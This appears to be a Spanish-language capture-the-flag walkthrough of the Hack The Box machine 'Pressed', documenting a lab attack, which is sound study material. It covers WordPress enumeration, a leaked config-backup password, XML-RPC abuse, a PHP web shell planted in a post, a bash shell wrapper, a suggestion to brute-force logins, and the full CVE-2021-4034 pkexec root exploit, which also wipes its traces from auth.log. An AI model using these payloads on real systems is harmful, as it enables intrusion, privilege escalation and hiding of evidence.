PortScan

➜  nmap sudo nmap -sCV -p80 10.10.11.142 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-24 11:42 CST
Nmap scan report for 10.10.11.142
Host is up (0.11s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: UHC Jan Finals – New Month, New Boxes
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-generator: WordPress 5.9
➜  nmap sudo nmap --script http-enum -p80 10.10.11.142
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-24 11:46 CST
Nmap scan report for 10.10.11.142
Host is up (0.11s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-enum:
|   /wp-login.php: Possible admin folder
|   /readme.html: Wordpress version: 2
|   /: WordPress version: 5.9
|   /wp-includes/images/rss.png: Wordpress version 2.2 found.
|   /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found.
|   /wp-includes/images/blank.gif: Wordpress version 2.6 found.
|   /wp-includes/js/comment-reply.js: Wordpress version 2.7 found.
|   /wp-login.php: Wordpress login page.
|   /wp-admin/upgrade.php: Wordpress login page.
|_  /readme.html: Interesting, a readme.

Enumeración

  • Si damos click en el texto subrayado UHC January Finals Under Way se nos muestra lo siguiente.

  • Vamos agregar el subdominio al /etc/hosts para ver si cambia algo en la web.
➜  nmap sudo echo "10.10.11.142 pressed.htb" | sudo tee -a /etc/hosts
10.10.11.142 pressed.htb
  • Pero vemos lo mismo.

  • Vamos a llenar esa información para ver que es lo que pasa.

  • Bueno al principio no paso nada pero cuando volví a hacerlo me salió este mensaje.

  • Sabemos que existen las ruta típicas de WordPress pero vamos a hacer Fuzzing para ver si encontramos otra ruta interesante.
➜  nmap dirsearch -u http://10.10.11.142
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/miguel/Hackthebox/Pressed/nmap/reports/http_10.10.11.142/_24-06-24_12-01-54.txt

Target: http://10.10.11.142/

[12:01:54] Starting:
[12:02:04] 403 -  277B  - /.ht_wsr.txt
[12:02:05] 403 -  277B  - /.htaccess.sample
[12:02:05] 403 -  277B  - /.htaccess_extra
[12:02:05] 403 -  277B  - /.htaccess.orig
[12:02:05] 403 -  277B  - /.htaccess_orig
[12:02:05] 403 -  277B  - /.htaccess.save
[12:02:05] 403 -  277B  - /.htaccessBAK
[12:02:05] 403 -  277B  - /.htaccess.bak1
[12:02:05] 403 -  277B  - /.htaccessOLD
[12:02:05] 403 -  277B  - /.htaccessOLD2
[12:02:05] 403 -  277B  - /.htaccess_sc
[12:02:05] 403 -  277B  - /.httr-oauth
[12:02:05] 403 -  277B  - /.html
[12:02:05] 403 -  277B  - /.htm
[12:02:05] 403 -  277B  - /.htpasswd_test
[12:02:05] 403 -  277B  - /.htpasswds
[12:02:11] 403 -  277B  - /.php
[12:02:18] 200 -    4KB - /.wp-config.php.swp
[12:04:18] 301 -    0B  - /index.php  ->  http://10.10.11.142/
[12:04:19] 404 -   21KB - /index.php/login/
[12:04:29] 200 -    7KB - /license.txt
[12:05:19] 200 -    3KB - /readme.html
[12:05:26] 403 -  277B  - /server-status
➜  nmap wpscan --url http://10.10.11.142
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.25
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://10.10.11.142/ [10.10.11.142]
[+] Started: Mon Jun 24 12:40:59 2024

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.41 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://10.10.11.142/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://10.10.11.142/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://10.10.11.142/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://10.10.11.142/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.9 identified (Insecure, released on 2022-01-25).
 | Found By: Rss Generator (Passive Detection)
 |  - http://10.10.11.142/index.php/feed/, <generator>https://wordpress.org/?v=5.9</generator>
 |  - http://10.10.11.142/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.9</generator>

[+] WordPress theme in use: retrogeek
 | Location: http://10.10.11.142/wp-content/themes/retrogeek/
 | Last Updated: 2024-04-26T00:00:00.000Z
 | Readme: http://10.10.11.142/wp-content/themes/retrogeek/README.txt
 | [!] The version is out of date, the latest version is 0.7
 | Style URL: http://10.10.11.142/wp-content/themes/retrogeek/style.css?ver=42
 | Style Name: RetroGeek
 | Style URI: https://tuxlog.de/retrogeek/
 | Description: A lightweight, minimal, fast and geeky retro theme remembering the good old terminal times...
 | Author: tuxlog
 | Author URI: https://tuxlog.de/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 0.5 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://10.10.11.142/wp-content/themes/retrogeek/style.css?ver=42, Match: 'Version: 0.5'

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:04 <=====================================================> (137 / 137) 100.00% Time: 00:00:04

[i] Config Backup(s) Identified:

[!] http://10.10.11.142/wp-config.php.bak
 | Found By: Direct Access (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Mon Jun 24 12:41:23 2024
[+] Requests Done: 173
[+] Cached Requests: 5
[+] Data Sent: 44.019 KB
[+] Data Received: 126.531 KB
[+] Memory used: 253.621 MB
[+] Elapsed time: 00:00:23
  • Vemos un wp-config.php.bak.
➜  nmap wget http://10.10.11.142/wp-config.php.bak
--2024-06-24 12:42:38--  http://10.10.11.142/wp-config.php.bak
Connecting to 10.10.11.142:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3194 (3.1K) [application/x-trash]
Saving to: ‘wp-config.php.bak’

wp-config.php.bak                100%[==========================================================>]   3.12K  --.-KB/s    in 0.005s

2024-06-24 12:42:38 (638 KB/s) - ‘wp-config.php.bak’ saved [3194/3194]
  • Vemos credenciales.
➜  nmap cat wp-config.php.bak
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/support/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** Database username */
define( 'DB_USER', 'admin' );

/** Database password */
define( 'DB_PASSWORD', 'uhc-jan-finals-2021' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );

/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         '3MYXll40,8gfj_jX4!3J(278f1(SGEZ+v]#w]Bu<PrstLLHEZig,MJB#t E2pU2t' );
define( 'SECURE_AUTH_KEY',  'QPkQ%%h&5$3$C;Z}2N!LKz.O 57i2U.582Gy{C=$XV_(jJz~3gC=*nKP//{v{?n<' );
define( 'LOGGED_IN_KEY',    'rp}RE/3-_3OF%./6PH` 1zbCy#H22NRH,ETR(c2*Qlu&W>lW|::4T[iFx%W|%[hA' );
define( 'NONCE_KEY',        '#%s&zIE/mSuvN{+2]^n;21]|u;gmP6!-ihyCn91j{/.KRGbg8}{3C%kZ#$(i&bc-' );
define( 'AUTH_SALT',        ',7BVMi:h`][Q/3j8tHN*EjKk,jY|+hm.3OnjYS A$ArIx7B z]WzLJ$Tc7</s`td' );
define( 'SECURE_AUTH_SALT', ']s_RJ,%OLa.}_8wP Qeu9WJUhJ2Zd2I%>T5R#f{8op9:Hn??}7{ZJ*.K.t/{lVl0' );
define( 'LOGGED_IN_SALT',   'wwQj(p&1I8zAK!2lhR[xg.Vt`qeh|2R}HMz?~TuQ9QE*@iy?@*?pDV;[4BL9*n#W' );
define( 'NONCE_SALT',       '[Wv%%EDN<b/a_</u|snqMQ q)xPW8GyB4WAw f+1k2|IFbu*7#U(g-# l{Kw n6Z' );

/**#@-*/

/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/support/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );

/* Add any custom values between this line and the "stop editing" line. */



/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
  • admin:uhc-jan-finals-2021

  • Si probamos las credenciales vemos que son incorrectas.

  • Si cambiamos de 2021 a 2022 nos muestra esto.

➜  nmap curl -s -X POST http://10.10.11.142/xmlrpc.php
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <fault>
    <value>
      <struct>
        <member>
          <name>faultCode</name>
          <value><int>-32700</int></value>
        </member>
        <member>
          <name>faultString</name>
          <value><string>parse error. not well formed</string></value>
        </member>
      </struct>
    </value>
  </fault>
</methodResponse>
  • Hay una ruta llamada /uploads pero no hay nada.

➜  nmap curl -X POST --data "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>" http://10.10.11.142/xmlrpc.php
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
      <array><data>
  <value><string>system.multicall</string></value>
  <value><string>system.listMethods</string></value>
  <value><string>system.getCapabilities</string></value>
  <value><string>htb.get_flag</string></value>
  <value><string>demo.addTwoNumbers</string></value>
  <value><string>demo.sayHello</string></value>
  <value><string>pingback.extensions.getPingbacks</string></value>
  <value><string>pingback.ping</string></value>
  <value><string>mt.publishPost</string></value>
  <value><string>mt.getTrackbackPings</string></value>
  <value><string>mt.supportedTextFilters</string></value>
  <value><string>mt.supportedMethods</string></value>
  <value><string>mt.setPostCategories</string></value>
  <value><string>mt.getPostCategories</string></value>
  <value><string>mt.getRecentPostTitles</string></value>
  <value><string>mt.getCategoryList</string></value>
  <value><string>metaWeblog.getUsersBlogs</string></value>
  <value><string>metaWeblog.deletePost</string></value>
  <value><string>metaWeblog.newMediaObject</string></value>
  <value><string>metaWeblog.getCategories</string></value>
  <value><string>metaWeblog.getRecentPosts</string></value>
  <value><string>metaWeblog.getPost</string></value>
  <value><string>metaWeblog.editPost</string></value>
  <value><string>metaWeblog.newPost</string></value>
  <value><string>blogger.deletePost</string></value>
  <value><string>blogger.editPost</string></value>
  <value><string>blogger.newPost</string></value>
  <value><string>blogger.getRecentPosts</string></value>
  <value><string>blogger.getPost</string></value>
  <value><string>blogger.getUserInfo</string></value>
  <value><string>blogger.getUsersBlogs</string></value>
  <value><string>wp.restoreRevision</string></value>
  <value><string>wp.getRevisions</string></value>
  <value><string>wp.getPostTypes</string></value>
  <value><string>wp.getPostType</string></value>
  <value><string>wp.getPostFormats</string></value>
  <value><string>wp.getMediaLibrary</string></value>
  <value><string>wp.getMediaItem</string></value>
  <value><string>wp.getCommentStatusList</string></value>
  <value><string>wp.newComment</string></value>
  <value><string>wp.editComment</string></value>
  <value><string>wp.deleteComment</string></value>
  <value><string>wp.getComments</string></value>
  <value><string>wp.getComment</string></value>
  <value><string>wp.setOptions</string></value>
  <value><string>wp.getOptions</string></value>
  <value><string>wp.getPageTemplates</string></value>
  <value><string>wp.getPageStatusList</string></value>
  <value><string>wp.getPostStatusList</string></value>
  <value><string>wp.getCommentCount</string></value>
  <value><string>wp.deleteFile</string></value>
  <value><string>wp.uploadFile</string></value>
  <value><string>wp.suggestCategories</string></value>
  <value><string>wp.deleteCategory</string></value>
  <value><string>wp.newCategory</string></value>
  <value><string>wp.getTags</string></value>
  <value><string>wp.getCategories</string></value>
  <value><string>wp.getAuthors</string></value>
  <value><string>wp.getPageList</string></value>
  <value><string>wp.editPage</string></value>
  <value><string>wp.deletePage</string></value>
  <value><string>wp.newPage</string></value>
  <value><string>wp.getPages</string></value>
  <value><string>wp.getPage</string></value>
  <value><string>wp.editProfile</string></value>
  <value><string>wp.getProfile</string></value>
  <value><string>wp.getUsers</string></value>
  <value><string>wp.getUser</string></value>
  <value><string>wp.getTaxonomies</string></value>
  <value><string>wp.getTaxonomy</string></value>
  <value><string>wp.getTerms</string></value>
  <value><string>wp.getTerm</string></value>
  <value><string>wp.deleteTerm</string></value>
  <value><string>wp.editTerm</string></value>
  <value><string>wp.newTerm</string></value>
  <value><string>wp.getPosts</string></value>
  <value><string>wp.getPost</string></value>
  <value><string>wp.deletePost</string></value>
  <value><string>wp.editPost</string></value>
  <value><string>wp.newPost</string></value>
  <value><string>wp.getUsersBlogs</string></value>
</data></array>
      </value>
    </param>
  </params>
</methodResponse>

User flag

  • Bueno vemos todos los métodos este es interesante <value><string>htb.get_flag</string></value>.

  • Podemos ver la user flag.

➜  nmap curl -X POST --data "<methodCall><methodName>htb.get_flag</methodName><params></params></methodCall>" http://10.10.11.142/xmlrpc.php
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
      <string>14a81d1565421c5c1461e1ad9b182b5b
</string>
      </value>
    </param>
  </params>
</methodResponse>
  • También podemos enumerar usuarios en otras máquinas donde esto esta activado te puedes hacer un script en bash que haga fuerza bruta en caso de que conozcas el nombre de un usuario para saber la contraseña.
➜  nmap curl -X POST --data "<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>administrator</value></param><param><value>pass</value></param></params></methodCall>" http://10.10.11.142/xmlrpc.php
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <fault>
    <value>
      <struct>
        <member>
          <name>faultCode</name>
          <value><int>403</int></value>
        </member>
        <member>
          <name>faultString</name>
          <value><string>Incorrect username or password.</string></value>
        </member>
      </struct>
    </value>
  </fault>
</methodResponse>

Shell as www-data

  • Desde Python también se puede trabajar con esto.

  • En caso de tener errores tu script debe verse así.

/.local/lib/python3.11/site-packages/wordpress_xmlrpc/base.py
import collections.abc
import sys

from wordpress_xmlrpc.compat import xmlrpc_client, dict_type
from wordpress_xmlrpc.exceptions import ServerConnectionError, UnsupportedXmlrpcMethodError, InvalidCredentialsError, XmlrpcDisabledError


class Client(object):
    """
    Connection to a WordPress XML-RPC API endpoint.

    To execute XML-RPC methods, pass an instance of an
    `XmlrpcMethod`-derived class to `Client`'s `call` method.
    """

    def __init__(self, url, username, password, blog_id=0, transport=None):
        self.url = url
        self.username = username
        self.password = password
        self.blog_id = blog_id

        try:
            self.server = xmlrpc_client.ServerProxy(url, allow_none=True, transport=transport)
            self.supported_methods = self.server.mt.supportedMethods()
        except xmlrpc_client.ProtocolError:
            e = sys.exc_info()[1]
            raise ServerConnectionError(repr(e))

    def call(self, method):
        if method.method_name not in self.supported_methods:
            raise UnsupportedXmlrpcMethodError(method.method_name)

        server_method = getattr(self.server, method.method_name)
        args = method.get_args(self)

        try:
            raw_result = server_method(*args)
        except xmlrpc_client.Fault:
            e = sys.exc_info()[1]
            if e.faultCode == 403:
                raise InvalidCredentialsError(e.faultString)
            elif e.faultCode == 405:
                raise XmlrpcDisabledError(e.faultString)
            else:
                raise
        return method.process_result(raw_result)


class XmlrpcMethod(object):
    """
    Base class for XML-RPC methods.

    Child classes can override methods and properties to customize behavior:

    Properties:
        * `method_name`: XML-RPC method name (e.g., 'wp.getUserInfo')
        * `method_args`: Tuple of method-specific required parameters
        * `optional_args`: Tuple of method-specific optional parameters
        * `results_class`: Python class which will convert an XML-RPC response dict into an object
    """
    method_name = None
    method_args = tuple()
    optional_args = tuple()
    results_class = None

    def __init__(self, *args, **kwargs):
        if self.method_args or self.optional_args:
            if self.optional_args:
                max_num_args = len(self.method_args) + len(self.optional_args)
                if not (len(self.method_args) <= len(args) <= max_num_args):
                    raise ValueError("Invalid number of parameters to %s" % self.method_name)
            else:
                if len(args) != len(self.method_args):
                    raise ValueError("Invalid number of parameters to %s" % self.method_name)

            for i, arg_name in enumerate(self.method_args):
                setattr(self, arg_name, args[i])

            if self.optional_args:
                for i, arg_name in enumerate(self.optional_args, start=len(self.method_args)):
                    if i >= len(args):
                        break
                    setattr(self, arg_name, args[i])

        if 'results_class' in kwargs:
            self.results_class = kwargs['results_class']

    def default_args(self, client):
        """
        Builds set of method-non-specific arguments.
        """
        return tuple()

    def get_args(self, client):
        """
        Builds final set of XML-RPC method arguments based on
        the method's arguments, any default arguments, and their
        defined respective ordering.
        """
        default_args = self.default_args(client)

        if self.method_args or self.optional_args:
            optional_args = getattr(self, 'optional_args', tuple())
            args = []
            for arg in (self.method_args + optional_args):
                if hasattr(self, arg):
                    obj = getattr(self, arg)
                    if hasattr(obj, 'struct'):
                        args.append(obj.struct)
                    else:
                        args.append(obj)
            args = list(default_args) + args
        else:
            args = default_args

        return args

    def process_result(self, raw_result):
        """
        Performs actions on the raw result from the XML-RPC response.

        If a `results_class` is defined, the response will be converted
        into one or more object instances of that class.
        """
        if self.results_class and raw_result:
            if isinstance(raw_result, dict_type):
                return self.results_class(raw_result)
            elif isinstance(raw_result, collections.abc.Iterable):
                return [self.results_class(result) for result in raw_result]

        return raw_result


class AnonymousMethod(XmlrpcMethod):
    """
    An XML-RPC method for which no authentication is required.
    """
    pass


class AuthenticatedMethod(XmlrpcMethod):
    """
    An XML-RPC method for which user authentication is required.

    Blog ID, username and password details will be passed from
    the `Client` instance to the method call.
    """

    def default_args(self, client):
        return (client.blog_id, client.username, client.password)

➜  nmap pip3 install python-wordpress-xmlrpc
  • Vamos a importar Client para poder conectarnos.
➜  nmap python3
Python 3.11.9 (main, Apr 10 2024, 13:16:36) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from wordpress_xmlrpc import Client
  • Si queremos usar un método como el posts para los posts del wordpress lo hacemos de la siguiente forma.
>>> from wordpress_xmlrpc.methods import posts
  • Ahora nos autenticamos.
>>> client = Client("http://10.10.11.142/xmlrpc.php", "admin", "uhc-jan-finals-2022")
  • Ahora podemos ver los posts.
>>> post = client.call(posts.GetPosts())
>>> post
[<WordPressPost: b'UHC January Finals Under Way'>]
  • Podemos analizar el contenido.
>>> post[0].content
'<!-- wp:paragraph -->\n<p>The UHC January Finals are underway!  After this event, there are only three left until the season one finals in which all the previous winners will compete in the Tournament of Champions. This event a total of eight players qualified, seven of which are from Brazil and there is one lone Canadian.  Metrics for this event can be found below.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:php-everywhere-block/php {"code":"JTNDJTNGcGhwJTIwJTIwZWNobyhmaWxlX2dldF9jb250ZW50cygnJTJGdmFyJTJGd3d3JTJGaHRtbCUyRm91dHB1dC5sb2cnKSklM0IlMjAlM0YlM0U=","version":"3.0.0"} /-->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->'
  • Vemos una cadena en base64 vamos a hacer un decode para ver que es.
➜  ~ echo "JTNDJTNGcGhwJTIwJTIwZWNobyhmaWxlX2dldF9jb250ZW50cygnJTJGdmFyJTJGd3d3JTJGaHRtbCUyRm91dHB1dC5sb2cnKSklM0IlMjAlM0YlM0U=" | base64 -d; echo
%3C%3Fphp%20%20echo(file_get_contents('%2Fvar%2Fwww%2Fhtml%2Foutput.log'))%3B%20%3F%3E
  • Nos da data en url-encode.
➜  ~ php --interactive
Interactive shell

php > echo urldecode("%3C%3Fphp%20%20echo(file_get_contents('%2Fvar%2Fwww%2Fhtml%2Foutput.log'))%3B%20%3F%3E");
<?php  echo(file_get_contents('/var/www/html/output.log')); ?>
  • Al parecer la parte que vimos del User Agent viene del script output.log.

  • Estamos como el administrador así que podemos cambiar el contenido del archivo.

➜  ~ cat data
<?php
	echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>
  • Pero tenemos que representarla en base64.
➜  ~ base64 -w 0 data; echo
PD9waHAKCWVjaG8gIjxwcmU+IiAuIHNoZWxsX2V4ZWMoJF9SRVFVRVNUWydjbWQnXSkgLiAiPC9wcmU+IjsKPz4K
  • Tendríamos que cambiar el contenido para meter ese allí.

  • Algo que podemos hacer es crearnos una variable que se iguale a todo los atributos del post existente.

>>> new_post = post[0]
>>> new_post
<WordPressPost: b'UHC January Finals Under Way'>
  • Tiene lo mismo.
>>> new_post.content
'<!-- wp:paragraph -->\n<p>The UHC January Finals are underway!  After this event, there are only three left until the season one finals in which all the previous winners will compete in the Tournament of Champions. This event a total of eight players qualified, seven of which are from Brazil and there is one lone Canadian.  Metrics for this event can be found below.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:php-everywhere-block/php {"code":"JTNDJTNGcGhwJTIwJTIwZWNobyhmaWxlX2dldF9jb250ZW50cygnJTJGdmFyJTJGd3d3JTJGaHRtbCUyRm91dHB1dC5sb2cnKSklM0IlMjAlM0YlM0U=","version":"3.0.0"} /-->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->'
  • Vamos a cambiar el contenido solo la parte de base64.
>>> new_post.content = '<!-- wp:paragraph -->\n<p>The UHC January Finals are underway!  After this event, there are only three left until the season one finals in which all the previous winners will compete in the Tournament of Champions. This event a total of eight players qualified, seven of which are from Brazil and there is one lone Canadian.  Metrics for this event can be found below.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:php-everywhere-block/php {"code":"PD9waHAKCWVjaG8gIjxwcmU+IiAuIHNoZWxsX2V4ZWMoJF9SRVFVRVNUWydjbWQnXSkgLiAiPC9wcmU+IjsKPz4K","version":"3.0.0"} /-->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->'
  • Ahora para editar el post real vamos a hacer lo siguiente.
>>> client.call(posts.EditPost(new_post.id, new_post))
True
  • Si recargamos la web desapareció la parte del user agent.

  • Podemos ejecutar comandos.

  • Bueno esta máquina tiene IPtables por detrás y no podemos enviarnos una reverse shell por ningún protocolo.

  • Tenemos que crear una webshell.

➜  wordpress_xmlrpc cat script.sh
#!/bin/bash

function ctrl_c(){
    echo -e "\n\n [+]Saliendo .... \n"
    exit 1
}

#Ctrl + c
trap ctrl_c INT

main_url="http://pressed.htb/index.php/2022/01/28/hello-world/?cmd="

while [ "$command" != "exit" ]; do
	echo -n "$~ " && read -r command
	command="$(echo $command | tr ' ' '+')"

	curl -s -X GET "$main_url$command" | grep "<pre>" -A 100 | grep "</pre>" -B 100 | sed 's/<pre>//' | sed 's/<\/pre>//' | sed 's/shell//'
done
  • Podemos ejecutar comandos.
➜  wordpress_xmlrpc ./script.sh
$~ whoami
www-data

$~ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

$~ hostname -I
10.10.11.142

Privilege Escalation

  • Podemos ver la flag también desde aquí.
$~ ls -l /home/htb/user.txt
-rw-r--r-- 1 root root 33 Jun 24 21:36 /home/htb/user.txt

$~ cat /home/htb/user.txt
14a81d1565421c5c1461e1ad9b182b5b
  • No podemos cambiar de ruta por que no estamos dentro del sistema estamos desde fuera ejecutando comandos y como el script esta en la ruta /var/www/html por eso solo podemos quedarnos allí.
$~ pwd
cd/var/www/html

$~ cd ..

$~ pwd
/var/www/html
  • Podemos ir hacia atrás con este comando.
$~ cd ../ %26%26 pwd
/var/www
  • El pkexec es SUID.
$~ ls -l /usr/bin/pkexec
-rwsr-xr-x 1 root root 23440 Jul 14  2021 /usr/bin/pkexec
➜  content cat pkwner.sh
#!/bin/bash
echo "██████╗ ██╗  ██╗██╗    ██╗███╗   ██╗███████╗██████╗ "
echo "██╔══██╗██║ ██╔╝██║    ██║████╗  ██║██╔════╝██╔══██╗"
echo "██████╔╝█████╔╝ ██║ █╗ ██║██╔██╗ ██║█████╗  ██████╔╝"
echo "██╔═══╝ ██╔═██╗ ██║███╗██║██║╚██╗██║██╔══╝  ██╔══██╗"
echo "██║     ██║  ██╗╚███╔███╔╝██║ ╚████║███████╗██║  ██║"
echo "╚═╝     ╚═╝  ╚═╝ ╚══╝╚══╝ ╚═╝  ╚═══╝╚══════╝╚═╝  ╚═╝"
echo "CVE-2021-4034 PoC by Kim Schulz"
# shell poc by Kim Schulz
echo "[+] Setting up environment..."
mkdir -p 'GCONV_PATH=.'
touch 'GCONV_PATH=./pkwner'
chmod a+x 'GCONV_PATH=./pkwner'
mkdir -p pkwner
echo "module UTF-8// PKWNER// pkwner 2" > pkwner/gconv-modules
cat > pkwner/pkwner.c <<- EOM
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv() {}
void gconv_init() {
  printf("hello");
  setuid(0); setgid(0);
	seteuid(0); setegid(0);
  system("PATH=/bin:/usr/bin:/usr/sbin:/usr/local/bin/:/usr/local/sbin;"
         "rm -rf 'GCONV_PATH=.' 'pkwner';"
         "cat /var/log/auth.log|grep -v pkwner >/tmp/al;cat /tmp/al >/var/log/auth.log;"
         "id");
	exit(0);
}
EOM

cat > pkwner/exec.c <<- EOM
#include <stdlib.h>
#include <unistd.h>
int main(){
  char *env[] = {"pkwner", "PATH=GCONV_PATH=.", "CHARSET=PKWNER",
                 "SHELL=pkwner", NULL};
  execve("/usr/bin/pkexec", (char *[]){NULL}, env);
}
EOM
echo "[+] Build offensive gconv shared module..."
gcc -fPIC -shared -o pkwner/pkwner.so pkwner/pkwner.c
echo "[+] Build mini executor..."
gcc -o pkwner/executor pkwner/exec.c
# export PATH="GCONV_PATH=."
# export CHARSET="PKWNER"
#export SHELL=pkwner
PATH='GCONV_PATH=.' ./pkwner/executor
echo "[+] Nice Job"
  • Vamos a subirlo a la máquina desde el python3 interactivo.
>>> from wordpress_xmlrpc.methods import media
>>> with open("pkwner.sh", "r") as f:
...     filename = f.read()
...
>>> filename
'#!/bin/bash\necho "██████╗ ██╗  ██╗██╗    ██╗███╗   ██╗███████╗██████╗ "\necho "██╔══██╗██║ ██╔╝██║    ██║████╗  ██║██╔════╝██╔══██╗"\necho "██████╔╝█████╔╝ ██║ █╗ ██║██╔██╗ ██║█████╗  ██████╔╝"\necho "██╔═══╝ ██╔═██╗ ██║███╗██║██║╚██╗██║██╔══╝  ██╔══██╗"\necho "██║     ██║  ██╗╚███╔███╔╝██║ ╚████║███████╗██║  ██║"\necho "╚═╝     ╚═╝  ╚═╝ ╚══╝╚══╝ ╚═╝  ╚═══╝╚══════╝╚═╝  ╚═╝"\necho "CVE-2021-4034 PoC by Kim Schulz"\n# shell poc by Kim Schulz\necho "[+] Setting up environment..."\nmkdir -p \'GCONV_PATH=.\'\ntouch \'GCONV_PATH=./pkwner\'\nchmod a+x \'GCONV_PATH=./pkwner\'\nmkdir -p pkwner\necho "module UTF-8// PKWNER// pkwner 2" > pkwner/gconv-modules\ncat > pkwner/pkwner.c <<- EOM\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\nvoid gconv() {}\nvoid gconv_init() {\n  printf("hello");\n  setuid(0); setgid(0);\n\tseteuid(0); setegid(0);\n  system("PATH=/bin:/usr/bin:/usr/sbin:/usr/local/bin/:/usr/local/sbin;"\n         "rm -rf \'GCONV_PATH=.\' \'pkwner\';"\n         "cat /var/log/auth.log|grep -v pkwner >/tmp/al;cat /tmp/al >/var/log/auth.log;"\n         "id");\n\texit(0);\n}\nEOM\n\ncat > pkwner/exec.c <<- EOM\n#include <stdlib.h>\n#include <unistd.h>\nint main(){\n  char *env[] = {"pkwner", 